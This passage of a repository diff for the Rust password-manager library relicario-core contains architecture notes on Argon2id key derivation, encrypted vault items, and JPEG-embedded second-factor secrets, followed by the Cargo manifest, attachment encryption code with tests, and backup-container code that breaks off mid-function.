`modified` (`item.rs:205-208`). Purging is the caller's responsibility,
driven by `TrashRetention::should_purge` (`settings.rs:38-44`).
- **`prune_history` is idempotent and explicit.** Items keep all history until
the caller invokes it with a `HistoryRetention` policy (`item.rs:219-237`).
Last-N drops oldest first; Days drops anything older than `now - days·86400`.
- **`item_type()` is the single source of truth** for the type tag stored on
`Item`. `Item::new` derives `r#type` from the supplied `ItemCore`
(`item.rs:159-164`). Manual construction can violate this — the JSON
round-trip does not re-validate beyond serde's tag matching.
- **Reserved serde key:** no `*Core` may have a JSON-serialized field named
`"type"` — that name is reserved for serde's discriminator on `ItemCore`
(`item_types/mod.rs:38-40`). Use `"kind"` instead (see `CardKind`,
`TotpKind`).
- **`MAX_DIMENSION = 10_000`** for imgsecret (`imgsecret.rs:71`). Enforced via
a header-only peek (`imgsecret.rs:127-176`) at the entry of both `embed` and
`extract` so an attacker-supplied 32000×32000 JPEG is rejected without
decoding pixels (audit M3).
- **`MIN_DIMENSION = 100`** plus a "must hold ≥5 redundant copies" floor
(`imgsecret.rs:66`, `imgsecret.rs:78`, `imgsecret.rs:682-689`). Smaller
carriers are rejected with `ImageTooSmall`.
- **Strength gate is `score >= 3`** (`generators.rs:124-130`). Vault-creation
callers must invoke `validate_passphrase_strength` themselves; the crate
does not internally call it inside `derive_master_key` (since that path is
also used to derive the key for *unlock*, not just create).
- **`SymbolCharset::Custom` must be ASCII-only** (`generators.rs:46-52`).
Non-ASCII custom charsets are rejected with `RelicarioError::Format`.
## Key flows
### Vault unlock — key derivation
1. Caller obtains `passphrase: &[u8]` (UTF-8) and `image_secret: &[u8; 32]`
(typically from `imgsecret::extract` over the user's reference JPEG).
2. Caller loads `salt: [u8; 32]` and `KdfParams` from out-of-band storage
(CLI: `.relicario/salt` and `.relicario/params.json`).
3. `derive_master_key(passphrase, &image_secret, &salt, &params)`
`crypto.rs:207-244`:
- NFC-normalize the passphrase if it parses as UTF-8 (`crypto.rs:223-227`).
- Build the length-prefixed password buffer in a `Zeroizing<Vec<u8>>`
(`crypto.rs:229-236`).
- Run `Argon2id` with `Algorithm::Argon2id`, `Version::V0x13`,
output length 32 (`crypto.rs:213-221`, `crypto.rs:238-241`).
4. Returns `Zeroizing<[u8; 32]>` — automatically wiped on drop.
A wrong passphrase or wrong image produces a *different* derived key. The crate
cannot tell them apart at this stage; the caller learns "wrong factor" only
when subsequent `decrypt_*` returns `RelicarioError::Decrypt`.
### Item write
1. Caller mutates an `Item` (e.g. `item.set_field_value(&fid, new_value)`
`item.rs:181-203`). `set_field_value` captures previous value into
`field_history` if the kind is history-tracked, then bumps `modified`.
2. Caller calls `encrypt_item(&item, &master_key)``vault.rs:16-20`:
`serde_json::to_vec(item)` → wrap in `Zeroizing``crypto::encrypt`.
3. Caller calls `manifest.upsert(&item)` (`manifest.rs:45-48`) to refresh the
browse-index entry; then `encrypt_manifest(&manifest, &master_key)`
(`vault.rs:29-33`).
4. The two ciphertext blobs are returned to the caller, who writes them to disk
(or commits them, or sends them over a sync channel).
### Item read (browse-without-decrypt path)
1. Caller calls `decrypt_manifest(&manifest_blob, &master_key)`
(`vault.rs:35-40`). One AEAD decryption gets the entire searchable index.
2. `Manifest::search(query)` does a case-insensitive substring match over title
and tags (`manifest.rs:59-68`). `manifest.items.values()` gives every
`ManifestEntry` with `title`, `tags`, `favorite`, `group`, `icon_hint`,
`modified`, `trashed_at`, and `attachment_summaries` — enough to render a
list UI without touching any item file.
3. When the user picks an entry, the caller reads `entries/<id>.enc` and calls
`decrypt_item(&blob, &master_key)` (`vault.rs:22-27`) to get the full
`Item` including secret fields and `field_history`.
### Attachment encryption
1. Caller has `plaintext: &[u8]`, the `master_key`, and the active
`VaultSettings::attachment_caps.per_attachment_max_bytes`.
2. `encrypt_attachment(plaintext, &master_key, max_bytes)`
`attachment.rs:64-78`:
- If `plaintext.len() > max_bytes`, return `AttachmentTooLarge` *immediately*
before any crypto.
- `AttachmentId::from_plaintext(plaintext)` (SHA-256, `ids.rs:51-57`).
- `crypto::encrypt(master_key, plaintext)`.
3. Returns `EncryptedAttachment { id, bytes }`. The caller persists `bytes` at
`attachments/<id>.enc` and adds an `AttachmentRef { id, filename, mime_type,
size, created }` (`attachment.rs:11-20`) to the owning `Item`. On
`Manifest::upsert`, an `AttachmentSummary` (no `created` field) is derived
automatically (`manifest.rs:87`).
### Field-history capture
1. Triggered exclusively by `Item::set_field_value` (`item.rs:181-203`). Direct
mutation of `field.value` bypasses history — the type system does not
prevent this.
2. The check `field.value.is_history_tracked()` runs *on the existing value*
(`item.rs:190`), so adding the *first* password value to a previously-empty
field does not create a history entry; updating an already-set password
does.
3. The previous value is serialized via `serialize_history_value`
(`item.rs:241-253`):
- `Password(p)` and `Concealed(c)` clone the inner string into a fresh
`Zeroizing<String>`.
- `Totp(cfg)` base32-encodes the raw secret bytes
(`item.rs:245-249`, `item.rs:256-275`).
- Any other kind would error (`item.rs:250`), but is unreachable because
`is_history_tracked` already gated the call.
4. Pruning is *not* automatic. Callers (CLI commit hook, extension save handler)
call `item.prune_history(&settings.field_history_retention, now_unix())`
when they want to enforce the policy.
### imgsecret embed
1. Caller passes a JPEG byte slice and a 32-byte secret to
`imgsecret::embed(carrier_jpeg, &secret)` (`imgsecret.rs:666-726`).
2. `enforce_dimension_cap` walks JPEG markers (`imgsecret.rs:127-161`) to read
the SOF dimensions; rejects > 10_000 × 10_000 before any pixel decode.
3. `extract_y_channel` decodes via `image::ImageReader` and converts each pixel
to BT.601 luminance (`imgsecret.rs:242-265`).
4. `central_region` picks the inner 70% of the image as the embed region; the
15% margin per side is the "crumple zone" for crops
(`imgsecret.rs:268-293`).
5. `compute_embed_positions` / `select_embed_blocks` lay out
`num_copies × BLOCKS_PER_COPY` 8×8 blocks evenly across the region, with
`num_copies` = `min(50, total_blocks / 22)` (`imgsecret.rs:530-575`).
6. For each block: 2D DCT (`dct2_8x8`, `imgsecret.rs:393-412`) → embed 12 bits
into the 12 mid-frequency coefficients listed in `EMBED_POSITIONS`
(zig-zag positions 617, `imgsecret.rs:105-118`) via QIM with
`QUANT_STEP = 50.0` (`imgsecret.rs:462-467`) → 2D inverse DCT → write
back into Y.
7. `reconstruct_jpeg` (`imgsecret.rs:590-640`) re-derives Cb/Cr per pixel from
the original RGB (so chrominance is preserved), combines with the modified
Y, and re-encodes at JPEG quality 92.
### imgsecret extract (with crop recovery)
1. `extract(jpeg_bytes)` enforces the dimension cap, then delegates to
`extract_with_crop_recovery` (`imgsecret.rs:738-741`,
`imgsecret.rs:849-899`).
2. **Try 1** — assume uncropped: `try_extract_with_layout(&y, w, h, 0, 0)`.
This is the hot path; for a freshly embedded image it always succeeds.
3. **Try 2** — width-only crop, block-aligned: iterate `orig_w` from current
width up to `1.20 × current_w` in 8-px steps, with `dx = 0`
(assume right-edge crop).
4. **Try 3** — height-only crop, block-aligned: same strategy on the vertical
axis.
5. **Try 4** — width crops at non-block-aligned 1-px steps, skipping any
already covered in Try 2.
6. `try_extract_with_layout` (`imgsecret.rs:754-834`) tallies QIM votes for
each of the 256 bit positions across all `num_copies` copies. Each bit
must reach **≥60% confidence** (`imgsecret.rs:824`); below that, the
whole extraction fails with `ExtractionFailed` (no partial result is
ever returned).
7. The 60% threshold is per-bit, not aggregate — a single unconfident bit
aborts the whole try. This makes false-positive extractions from
never-embedded images vanishingly unlikely.
## Cross-cutting concerns
- **Error model.** `RelicarioError` (`error.rs:15-89`) is a single
`thiserror`-derived enum. `Decrypt` is the deliberately-opaque "wrong key
or tampered ciphertext" variant (audit M4 — `error.rs:28-30`,
`tests/integration.rs:99-111`): the message is just `"decryption failed"`
with no inner string, and it does not distinguish wrong-passphrase from
wrong-image-secret from corrupted ciphertext. `Format` is the
"input bytes don't make sense" variant (e.g. blob too short, schema
mismatch). `UnsupportedFormatVersion` is the structured "wrong version
byte" variant — separate from `Format` because callers want to react to
it differently (offer migration, etc.).
- **Where secrets live.** Every secret type wraps `Zeroizing<...>`:
- The derived master key: `Zeroizing<[u8; 32]>` (`crypto.rs:212`).
- Field values: `FieldValue::Password(Zeroizing<String>)` and
`FieldValue::Concealed(Zeroizing<String>)` (`item.rs:39-40`).
- `FieldHistoryEntry::value`: `Zeroizing<String>` (`item.rs:127`).
- Per-type cores: `LoginCore::password`, `CardCore::{number,cvv,pin}`,
`KeyCore::key_material`, `SecureNoteCore::body`, `TotpConfig::secret`
(a `Zeroizing<Vec<u8>>` of the raw HMAC key).
- Decrypted attachment plaintext: `Zeroizing<Vec<u8>>`
(`attachment.rs:88-92`).
- Argon2id input buffer (`crypto.rs:232`) and JSON serialization buffers in
`vault.rs` are wrapped in `Zeroizing` to wipe the intermediate plaintext.
- **Format versioning.** Three independent version channels exist, each
gating something different:
- `crypto::VERSION_BYTE = 0x02` (`crypto.rs:59`) — gates the AEAD blob
layout. Bumped if the nonce length, header layout, or cipher changes.
A v1 blob is rejected with a typed
`UnsupportedFormatVersion { found: 0x01, expected: 0x02 }`.
- `manifest::MANIFEST_SCHEMA_VERSION = 2` (`manifest.rs:12`) — gates the
JSON-level shape of the manifest. v1 manifests had a different layout
and would fail to parse against the current `Manifest` struct.
- The `.relbak` import/export format defined in
`docs/superpowers/specs/2026-04-27-relicario-import-export-design.md`
will introduce a third version channel for backups; that surface lives
outside this crate.
- **KDF parameter handling.** `KdfParams` (`crypto.rs:156-168`) is just a
serializable struct. The crate has no opinion about where it is stored,
how it is rotated, or who increments it. `Default` gives the production
values (`m=65536`, `t=3`, `p=4``crypto.rs:175-183`) calibrated for
~0.51 s on a modern desktop. Tests universally use the fast triplet
`(m=256, t=1, p=1)` defined as a `fn fast_params()` near the top of every
test file.
- **NFC normalization is the only Unicode op.** All passphrase canonicalization
happens in one place (`crypto.rs:223-227`). Item titles, field labels,
tags, etc. are stored verbatim — only the passphrase fed to the KDF is
normalized.
- **No per-entry subkeys.** Every encrypted blob (item, manifest, settings,
attachment) is encrypted with the *same* master key. The design rationale
is in `docs/superpowers/specs/2026-04-11-relicario-design.md` lines 66:
per-entry subkey derivation would add complexity for no real-world benefit
given the expected family-vault size.
- **CSPRNG is `OsRng` everywhere.** `ItemId::new`, `FieldId::new`,
`derive_master_key` (no-op — the salt is caller-supplied),
`crypto::encrypt` (nonce), `generators::random_password`,
`generators::bip39_passphrase`. A single `rand::thread_rng()` call exists
inside an `imgsecret` test (`imgsecret.rs:1033`) to generate a random test
secret; production code is `OsRng` only.
- **`ed25519-dalek` is a dependency placeholder.** Listed in
`Cargo.toml:17` but unused in `src/`. It exists for the future
device-key surface (`RelicarioError::DeviceKey` is the reserved variant,
`error.rs:84-88`); device-key signing currently happens in
`relicario-cli` instead.
## Test architecture
All `tests/` files use the fast Argon2id triplet `m=256, t=1, p=1` so the
suite runs in seconds, not minutes. Test JPEGs are synthesized at runtime via
`make_test_jpeg(width, height)` (`imgsecret.rs:908-924`) — a deterministic RGB
pattern at quality 92 — so no binary fixtures live in git.
- **`tests/integration.rs`** — End-to-end vault workflows: encrypt+decrypt a
Login and a SecureNote through `Manifest`/`VaultSettings`, two-factor
independence (different passphrase or different image_secret yields
different keys), field-history surviving an encrypt/decrypt round-trip,
and the wrong-key-→-`Decrypt` opaqueness contract.
- **`tests/attachments.rs`** — Round-trip a 5 KB blob, prove identical
plaintexts produce identical `AttachmentId`s (despite different ciphertext
bytes due to fresh nonces), and exercise the cap boundary at exactly the
max byte and one over.
- **`tests/field_history.rs`** — Sequential `set_field_value` calls accumulate
history in oldest→newest order; `prune_history(LastN(3))` keeps the most
recent 3; field-history survives `encrypt_item``decrypt_item`.
- **`tests/format_v2.rs`** — `VERSION_BYTE == 0x02`, fresh ciphertext starts
with `0x02`, a v1-shaped blob (`[0x01][24 nonce][16 tag]`) is rejected with
the typed `UnsupportedFormatVersion`, and the length-prefix construction
prevents `("abc", 0x44…)` / `("abcD", …)` collisions.
- **`tests/generators.rs`** — Aggregates 80 × 128 = 10,240 chars from
`generate_password` to assert per-character-class proportions are within
±5 pp of the expected uniform distribution; verifies that 5-word BIP-39
passes the strength gate while common weak passwords ("password",
"12345678", "letmein", "qwertyui", "hunter2") all fail; asserts uniqueness
across 1000 default-config calls. The opening doc comment
(`tests/generators.rs:1-13`) explains why the original "10,000-char single
call" plan switched to aggregation: `generate_password` enforces
`length ≤ 128`.
In-module `#[cfg(test)] mod tests` blocks cover unit-level invariants (kind/
value mismatches, snake-case serde tags, base32 round-trips, `MonthYear`
constructor bounds, the Steam alphabet ambiguity audit). The `imgsecret`
test block additionally proves DCT round-tripping, QIM noise tolerance below
`Q/4 = 12.5`, embed→Q85-recompress→extract round-trip, embed→10%-crop→extract
round-trip, and the oversized-image-header rejection path.
## Gotchas & non-obvious decisions
- **`QUANT_STEP = 50.0` is intentionally double the academic value of 25**
(`imgsecret.rs:62`). Higher quantization steps make the watermark more robust
to JPEG recompression at Q85 and below — at the cost of more visible
artifacts in the carrier. The reference image is a personal photo, not a
publication, so the trade-off favors robustness.
- **The embed region is the *central 70%* (15% margin per side, "crumple
zone")** — `imgsecret.rs:212-218`, `imgsecret.rs:276-293`. Anything in the
outer 15% is sacrificed so that mild edge crops (e.g. social-media platform
trims) leave the embedded data intact. Tested up to 10% crop in
`imgsecret.rs:1108-1137`.
- **Per-bit majority voting with a 60% confidence floor.**
`try_extract_with_layout` tallies votes from every redundant copy and
fails the entire extraction if any single bit position is below 60%
agreement (`imgsecret.rs:824`). This is more conservative than a global
threshold and is what makes false positives from never-embedded images
essentially zero — see `extract_from_non_embedded_image_fails`
(`imgsecret.rs:1041-1045`).
- **Number of redundant copies is capped at 50** (`imgsecret.rs:536`,
`imgsecret.rs:692-693`). Beyond that, per-block visual artifacts compound
faster than the error-correction benefit grows.
- **`peek_jpeg_dimensions` walks JPEG markers manually instead of using the
`image` crate.** `imgsecret.rs:127-161`. A full `ImageReader::decode` of an
attacker-supplied 30 000 × 30 000 JPEG would allocate ~3.6 GB of pixel
buffer in the WASM service worker before failing — the manual walk reads
only the SOF segment and bails in O(marker-count) (audit M3).
- **`bip39` always generates 128 bits of entropy** (12 mnemonic words) and
truncates to `word_count` (`generators.rs:82-89`). This is because
`bip39 v2` rejects entropy below 128 bits, but we want to support 312 word
passphrases. Truncation preserves the per-word independence — the words
the user sees still come from a uniformly-sampled-then-truncated 12-word
draw.
- **Steam TOTP output is exactly 5 characters from a 26-glyph alphabet,
regardless of the `digits` field on `TotpConfig`** (`item_types/totp.rs:103-110`,
asserted in `item_types/totp.rs:240-253`). The alphabet
(`23456789BCDFGHJKMNPQRTVWXY`) excludes `0/O`, `1/I/L`, `S` (so `5` is
unambiguous), `A`, `E`, `U`, `Z` — all glyphs Valve considered ambiguous
in the Steam Mobile Authenticator. Verified at
`item_types/totp.rs:274-283`.
- **`ItemCore` is internally-tagged with `#[serde(tag = "type")]`** — the
outer JSON object gets a `"type"` key. This means *no* `*Core` struct may
have a field literally named `type`. The convention chosen for
type-discriminant fields *inside* a core is `kind` — see `CardKind`,
`TotpKind` (`item_types/mod.rs:38-40`).
- **The TOTP base32 in field-history strips padding.** `base32_encode`
(`item.rs:256-275`) is RFC-4648 with no `=` padding — appropriate because
the value is for human display in history, not for re-decoding.
- **`AttachmentId::from_plaintext` uses only the first 8 bytes (= 16 hex
chars) of the SHA-256 digest** (`ids.rs:51-57`). 64 bits of collision
resistance is sufficient for a personal-vault attachment count; it keeps
filenames short. If a future use case demands collision resistance against
motivated adversaries (e.g. dedup across untrusted vaults), this width is
the lever.
- **`Field::new` derives `kind` from `value`, but the public struct still
stores both** (`item.rs:73-94`). The duplication exists so callers can
match on `kind` without inspecting (and potentially decrypting / cloning)
`value`. `validate()` is the safety net that runs after deserialization.
- **`set_field_value` refuses to change a field's kind** (`item.rs:184-189`).
The intent is that fields are conceptually fixed-shape after creation;
changing a `Text` to a `Password` should be done by deleting the old field
and creating a new one (so history doesn't get confused).
- **`hidden_by_default` is *not* `Zeroize`.** It's purely a UI hint — the
rendering layer (CLI output, popup card) decides whether to mask the value
on initial display. Secrecy at rest is enforced by the `Zeroizing` wrappers
on the value itself, not this flag.
- **`Manifest::upsert` rebuilds the entry from scratch every call**
(`manifest.rs:45-48`, `manifest.rs:75-89`). There is no "patch the
existing entry" path. This means the manifest can never carry a stale
`icon_hint` or `attachment_summaries` — they are derived freshly from the
source `Item` each time.
- **The strength gate is *not* called inside `derive_master_key`.** It must
be invoked separately by the caller during *vault creation* only — not
during unlock, where calling it would let an attacker probe whether a
wrong passphrase happens to be "strong enough" before the Argon2id work
even starts. See `generators.rs:124-130`.
- **`now_unix()` is `chrono::Utc::now().timestamp()` and is the single time
source in this crate** (`time.rs:6-8`). Tests that need determinism pass an
explicit `now: i64` to `prune_history` (`item.rs:219`) and similar — they
do not stub `now_unix`.

View File

@@ -0,0 +1,35 @@
[package]
name = "relicario-core"
version = "0.2.0"
edition = "2021"
description = "Core library for relicario password manager"
[dependencies]
thiserror = "2"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
argon2 = "0.5"
chacha20poly1305 = "0.10"
rand = "0.8"
sha2 = "0.10"
sha1 = "0.10"
hmac = "0.12"
ed25519-dalek = { version = "2", features = ["rand_core"] }
ssh-key = { version = "0.6", features = ["ed25519", "std"] }
image = { version = "0.25", default-features = false, features = ["jpeg"] }
# Typed-item additions
zeroize = { version = "1", features = ["zeroize_derive", "serde"] }
zxcvbn = { version = "3", default-features = false }
bip39 = { version = "2", default-features = false, features = ["std"] }
unicode-normalization = "0.1"
chrono = { version = "0.4", default-features = false, features = ["serde", "clock", "wasmbind"] }
hex = "0.4"
url = { version = "2", features = ["serde"] }
getrandom = "0.2"
zstd = { version = "0.13", default-features = false }
tar = { version = "0.4", default-features = false }
base64 = "0.22"
csv = "1"
[dev-dependencies]

View File

@@ -0,0 +1,166 @@
//! Attachment refs (carried on Item) and summaries (carried in Manifest).
//!
//! Encryption helpers (`encrypt_attachment`, `decrypt_attachment`) are added
//! later in Task 22 once the crypto module is settled.
use serde::{Deserialize, Serialize};
use crate::ids::AttachmentId;
/// Reference to an attachment, carried on the Item record.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct AttachmentRef {
pub id: AttachmentId,
pub filename: String,
pub mime_type: String,
/// Plaintext size in bytes.
pub size: u64,
/// Unix-seconds when this attachment was added.
pub created: i64,
}
/// Compact summary of an attachment, carried in the Manifest so the popup
/// can show attachment indicators without decrypting the item file.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct AttachmentSummary {
pub id: AttachmentId,
pub filename: String,
pub mime_type: String,
pub size: u64,
}
impl From<&AttachmentRef> for AttachmentSummary {
fn from(r: &AttachmentRef) -> Self {
Self {
id: r.id.clone(),
filename: r.filename.clone(),
mime_type: r.mime_type.clone(),
size: r.size,
}
}
}
use zeroize::Zeroizing;
use crate::crypto::{decrypt, encrypt};
use crate::error::{RelicarioError, Result};
/// Encrypted attachment with the AID derived from plaintext content.
#[derive(Debug)]
pub struct EncryptedAttachment {
pub id: AttachmentId,
pub bytes: Vec<u8>,
}
/// Encrypt raw attachment bytes, deriving the [`AttachmentId`] from `sha256(plaintext)`.
///
/// Returns [`RelicarioError::AttachmentTooLarge`] immediately if `plaintext.len() > max_bytes`,
/// before any crypto work is done.
///
/// ## Call-site adaptation
///
/// `crypto::encrypt` accepts `&[u8; 32]`; we coerce `&Zeroizing<[u8; 32]>` via
/// `&**master_key` (double-deref: `Zeroizing<[u8;32]>` → `[u8;32]` → `&[u8;32]`).
pub fn encrypt_attachment(
plaintext: &[u8],
master_key: &Zeroizing<[u8; 32]>,
max_bytes: u64,
) -> Result<EncryptedAttachment> {
if plaintext.len() as u64 > max_bytes {
return Err(RelicarioError::AttachmentTooLarge {
size: plaintext.len() as u64,
max: max_bytes,
});
}
let id = AttachmentId::from_plaintext(plaintext);
let bytes = encrypt(master_key, plaintext)?;
Ok(EncryptedAttachment { id, bytes })
}
/// Decrypt a blob produced by [`encrypt_attachment`], returning the plaintext
/// wrapped in [`Zeroizing`] so it is wiped on drop.
///
/// ## Call-site adaptation
///
/// `crypto::decrypt` accepts `&[u8; 32]`; we coerce via `&**master_key`.
pub fn decrypt_attachment(
encrypted: &[u8],
master_key: &Zeroizing<[u8; 32]>,
) -> Result<Zeroizing<Vec<u8>>> {
let plaintext = decrypt(master_key, encrypted)?;
Ok(Zeroizing::new(plaintext))
}
#[cfg(test)]
mod crypto_tests {
use super::*;
fn key() -> Zeroizing<[u8; 32]> {
Zeroizing::new([0x42u8; 32])
}
#[test]
fn attachment_round_trip() {
let plaintext = b"the quick brown fox jumps over the lazy dog";
let enc = encrypt_attachment(plaintext, &key(), 1024).unwrap();
let dec = decrypt_attachment(&enc.bytes, &key()).unwrap();
assert_eq!(dec.as_slice(), plaintext);
}
#[test]
fn attachment_id_matches_sha256() {
let plaintext = b"hello world";
let enc = encrypt_attachment(plaintext, &key(), 1024).unwrap();
assert_eq!(enc.id, AttachmentId::from_plaintext(plaintext));
}
#[test]
fn oversize_attachment_rejected() {
let plaintext = vec![0u8; 11_000_000];
let err = encrypt_attachment(&plaintext, &key(), 10 * 1024 * 1024);
assert!(matches!(err, Err(RelicarioError::AttachmentTooLarge { .. })));
}
#[test]
fn wrong_key_fails_with_opaque_decrypt() {
let plaintext = b"x";
let enc = encrypt_attachment(plaintext, &key(), 1024).unwrap();
let wrong = Zeroizing::new([0u8; 32]);
let err = decrypt_attachment(&enc.bytes, &wrong);
assert!(matches!(err, Err(RelicarioError::Decrypt)));
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn attachment_ref_round_trip() {
let r = AttachmentRef {
id: AttachmentId("0123456789abcdef".into()),
filename: "doc.pdf".into(),
mime_type: "application/pdf".into(),
size: 12345,
created: 1_700_000_000,
};
let json = serde_json::to_string(&r).unwrap();
let parsed: AttachmentRef = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.filename, "doc.pdf");
assert_eq!(parsed.size, 12345);
}
#[test]
fn attachment_summary_from_ref() {
let r = AttachmentRef {
id: AttachmentId("aabb".into()),
filename: "x.txt".into(),
mime_type: "text/plain".into(),
size: 5,
created: 0,
};
let s: AttachmentSummary = (&r).into();
assert_eq!(s.filename, "x.txt");
assert_eq!(s.id, r.id);
}
}

View File

@@ -0,0 +1,348 @@
//! Backup container — encrypted, compressed, single-file archive of a vault.
//!
//! ## Format (v1)
//!
//! ```text
//! [magic "RBAK" 4 bytes][version 0x01 1 byte][salt 32 bytes][nonce 24 bytes][ciphertext+tag]
//! ```
//!
//! After AEAD decryption, the plaintext is zstd-compressed bytes whose
//! decompressed form is a UTF-8 JSON document — see [`Envelope`].
//!
//! The backup container key is **independent** of any vault master key.
//! The user picks a backup passphrase at export and types it at restore.
//! Argon2id parameters are pinned to v1-of-this-format (m=64MiB, t=3, p=4)
//! so a v1 reader does not need to negotiate them.
use argon2::{Algorithm, Argon2, Params, Version};
use base64::Engine;
use chacha20poly1305::{
aead::{Aead, KeyInit},
XChaCha20Poly1305, XNonce,
};
use rand::{rngs::OsRng, RngCore};
use serde::{Deserialize, Serialize};
use zeroize::Zeroizing;
use crate::error::{RelicarioError, Result};
/// File-level magic. Four bytes so a `file(1)` rule can identify it.
pub const MAGIC: [u8; 4] = *b"RBAK";
/// Container format version. Bumped if the on-disk layout of the
/// salt/nonce/ciphertext header or the AEAD primitive changes.
pub const FORMAT_VERSION: u8 = 0x01;
/// JSON envelope schema version. Bumped if the JSON shape changes
/// without an underlying-format change (e.g. new optional fields whose
/// absence v1 readers can tolerate would NOT bump this; renames or
/// removals would).
pub const SCHEMA_VERSION: u32 = 1;
const SALT_LEN: usize = 32;
const NONCE_LEN: usize = 24;
const TAG_LEN: usize = 16;
const HEADER_LEN: usize = 4 + 1 + SALT_LEN + NONCE_LEN; // magic + version + salt + nonce
const ARGON2_M_KIB: u32 = 65_536; // 64 MiB
const ARGON2_T: u32 = 3;
const ARGON2_P: u32 = 4;
/// Zstd compression level. 3 is the speed/size sweet spot.
const ZSTD_LEVEL: i32 = 3;
/// Inputs to [`pack_backup`]. Borrow-only — the caller retains ownership of
/// every byte slice.
pub struct BackupInput<'a> {
/// Raw 32-byte vault salt (`.relicario/salt` contents).
pub salt: &'a [u8],
/// Verbatim string contents of `.relicario/params.json`.
pub params_json: &'a str,
/// Verbatim string contents of `.relicario/devices.json`.
pub devices_json: &'a str,
/// Encrypted manifest bytes (verbatim `manifest.enc`).
pub manifest_enc: &'a [u8],
/// Encrypted vault settings bytes (verbatim `settings.enc`).
pub settings_enc: &'a [u8],
/// One entry per item file (verbatim ciphertext).
pub items: Vec<BackupItem<'a>>,
/// One entry per attachment blob (verbatim ciphertext).
pub attachments: Vec<BackupAttachment<'a>>,
/// Reference JPEG bytes — included iff caller wants to bundle the
/// second factor.
pub reference_jpg: Option<&'a [u8]>,
/// Tarred `.git/` directory — included iff caller wants the audit log.
/// The caller (CLI) does the actual tarring; core just transports the
/// opaque bytes.
pub git_archive: Option<&'a [u8]>,
}
/// One vault item ciphertext, keyed by the item id (16-char hex).
pub struct BackupItem<'a> {
pub id: String,
pub ciphertext: &'a [u8],
}
/// One attachment blob, keyed by `<item_id>/<attachment_id>` so the
/// per-item directory layout round-trips.
pub struct BackupAttachment<'a> {
pub item_id: String,
pub attachment_id: String,
pub ciphertext: &'a [u8],
}
/// Output of [`unpack_backup`]. Owned bytes — the caller decides where to
/// persist them.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct BackupOutput {
pub salt: [u8; 32],
pub params_json: String,
pub devices_json: String,
pub manifest_enc: Vec<u8>,
pub settings_enc: Vec<u8>,
pub items: Vec<UnpackedItem>,
pub attachments: Vec<UnpackedAttachment>,
pub reference_jpg: Option<Vec<u8>>,
pub git_archive: Option<Vec<u8>>,
pub created_at: i64,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct UnpackedItem {
pub id: String,
pub ciphertext: Vec<u8>,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct UnpackedAttachment {
pub item_id: String,
pub attachment_id: String,
pub ciphertext: Vec<u8>,
}
#[derive(Serialize, Deserialize)]
struct Envelope {
schema_version: u32,
created_at: i64,
vault: VaultEnvelope,
}
#[derive(Serialize, Deserialize)]
struct VaultEnvelope {
/// base64-encoded 32-byte vault salt.
salt: String,
/// Verbatim params.json contents (string, not nested object — keeps
/// forward-compat with future params.json schema changes opaque to
/// the backup format).
params: String,
/// Verbatim devices.json contents (string for the same reason).
devices: String,
/// base64-encoded ciphertext of `manifest.enc`.
manifest: String,
/// base64-encoded ciphertext of `settings.enc`.
settings: String,
/// Map of `item_id` → base64-encoded item ciphertext.
items: std::collections::BTreeMap<String, String>,
/// Map of `<item_id>/<attachment_id>` → base64-encoded ciphertext.
attachments: std::collections::BTreeMap<String, String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
reference_jpg: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
git_archive: Option<String>,
}
/// Pack a vault into the `.relbak` container.
///
/// Generates fresh 32-byte salt + 24-byte nonce via OsRng. Derives a
/// 32-byte key via Argon2id with the format-pinned parameters, then
/// XChaCha20-Poly1305 encrypts the zstd-compressed JSON envelope.
pub fn pack_backup(input: BackupInput<'_>, passphrase: &str) -> Result<Vec<u8>> {
let mut salt = [0u8; SALT_LEN];
OsRng.fill_bytes(&mut salt);
let mut nonce_bytes = [0u8; NONCE_LEN];
OsRng.fill_bytes(&mut nonce_bytes);
let key = derive_backup_key(passphrase.as_bytes(), &salt)?;
let envelope = build_envelope(input, crate::time::now_unix())?;
let json = serde_json::to_vec(&envelope)?;
let compressed = zstd::encode_all(&json[..], ZSTD_LEVEL)
.map_err(|e| RelicarioError::Format(format!("zstd compress: {e}")))?;
let cipher = XChaCha20Poly1305::new((&*key).into());
let nonce = XNonce::from(nonce_bytes);
let ciphertext = cipher
.encrypt(&nonce, compressed.as_slice())
.map_err(|e| RelicarioError::Encrypt(e.to_string()))?;
let mut out = Vec::with_capacity(HEADER_LEN + ciphertext.len());
out.extend_from_slice(&MAGIC);
out.push(FORMAT_VERSION);
out.extend_from_slice(&salt);
out.extend_from_slice(&nonce_bytes);
out.extend_from_slice(&ciphertext);
Ok(out)
}
/// Unpack a `.relbak` container, verifying magic + version, decrypting,
/// decompressing, and parsing the JSON envelope.
pub fn unpack_backup(data: &[u8], passphrase: &str) -> Result<BackupOutput> {
if data.len() < HEADER_LEN + TAG_LEN {
return Err(RelicarioError::Format(
"backup file truncated".into(),
));
}
if data[0..4] != MAGIC {
return Err(RelicarioError::BackupBadMagic);
}
let version = data[4];
if version != FORMAT_VERSION {
return Err(RelicarioError::BackupUnsupportedVersion {
found: version,
expected: FORMAT_VERSION,
});
}
let mut salt = [0u8; SALT_LEN];
salt.copy_from_slice(&data[5..5 + SALT_LEN]);
let nonce_start = 5 + SALT_LEN;
let nonce_bytes: &[u8] = &data[nonce_start..nonce_start + NONCE_LEN];
let ciphertext = &data[HEADER_LEN..];
let key = derive_backup_key(passphrase.as_bytes(), &salt)?;
let cipher = XChaCha20Poly1305::new((&*key).into());
let nonce = XNonce::from_slice(nonce_bytes);
let compressed = cipher
.decrypt(nonce, ciphertext)
.map_err(|_| RelicarioError::Decrypt)?;
let json_bytes = zstd::decode_all(compressed.as_slice())
.map_err(|e| RelicarioError::Format(format!("zstd decompress: {e}")))?;
let env: Envelope = serde_json::from_slice(&json_bytes)?;
if env.schema_version != SCHEMA_VERSION {
return Err(RelicarioError::BackupSchemaMismatch {
found: env.schema_version,
expected: SCHEMA_VERSION,
});
}
let b64 = base64::engine::general_purpose::STANDARD;
let mut salt_out = [0u8; 32];
let salt_decoded = b64
.decode(&env.vault.salt)
